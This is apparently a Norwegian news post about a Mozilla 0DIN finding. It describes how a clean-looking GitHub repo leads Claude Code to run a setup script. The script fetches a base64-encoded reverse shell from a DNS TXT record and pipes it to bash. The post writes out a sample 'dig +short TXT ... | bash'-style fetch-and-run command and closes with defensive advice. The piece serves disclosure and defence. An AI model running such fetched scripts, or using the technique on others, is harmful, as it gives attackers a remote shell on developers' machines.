Hvordan kan en GitHub-repo uten en eneste linje ondsinnet kode kapre Claude Code? Mozillas forskningsgruppe 0DIN gjemmer nyttelasten i en DNS TXT-post som et oppsettskript henter og kjører i farten, base64-kodet slik at signaturen for et reverse shell aldri står i klartekst på disk eller på tråden. Verken avhengighetsskannere, hemmelighetsskannere eller menneskelige gjennomganger ser noe mistenkelig, fordi de bare leser filene som faktisk ligger i repoet.
Angrepskjeden er enkel. Repoet ser standard ut, med vanlige instruksjoner i README. En Python-pakke kaster en feil hvis den ikke er initialisert og ber brukeren kjøre et oppsettsteg. Det oppsettskriptet henter konfigurasjon fra en DNS TXT-post, for eksempel via dig +short TXT _axiom-config.m100.cloud @1.1.1.1, og kjører resultatet gjennom bash. Claude Code leser oppsettsnotatene, installerer avhengigheter, møter feilen og kjører init-skriptet som en rutinemessig opprydding. Da er det reverse shell-et allerede ute.
«DNS TXT-posten er base64-kodet, så reverse shell-signaturen dukker aldri opp i klartekst på disk eller på tråden» — Mozilla 0DIN
Mozilla publiserte funnet 25. juni 2026. Kjernen er at dagens forsvar ser på filene, ikke på hva et oppsettskript henter fra nettet ved kjøring. Så lenge en agent stille kjører hentede instruksjoner, flytter angriperen bare nyttelasten ett hakk unna, til DNS, der ingen leter.
Hva bør du gjøre?
- Ikke la agenten kjøre oppsett- og init-skript stille; krev at du godkjenner stegene før de kjøres.
- Behandle alt et skript henter fra nettet under kjøring som utrustet, også når selve repoet ser rent ut.
- Overvåk utgående DNS- og nettverkstrafikk fra utviklermiljøet, ikke bare innholdet i kodebasen.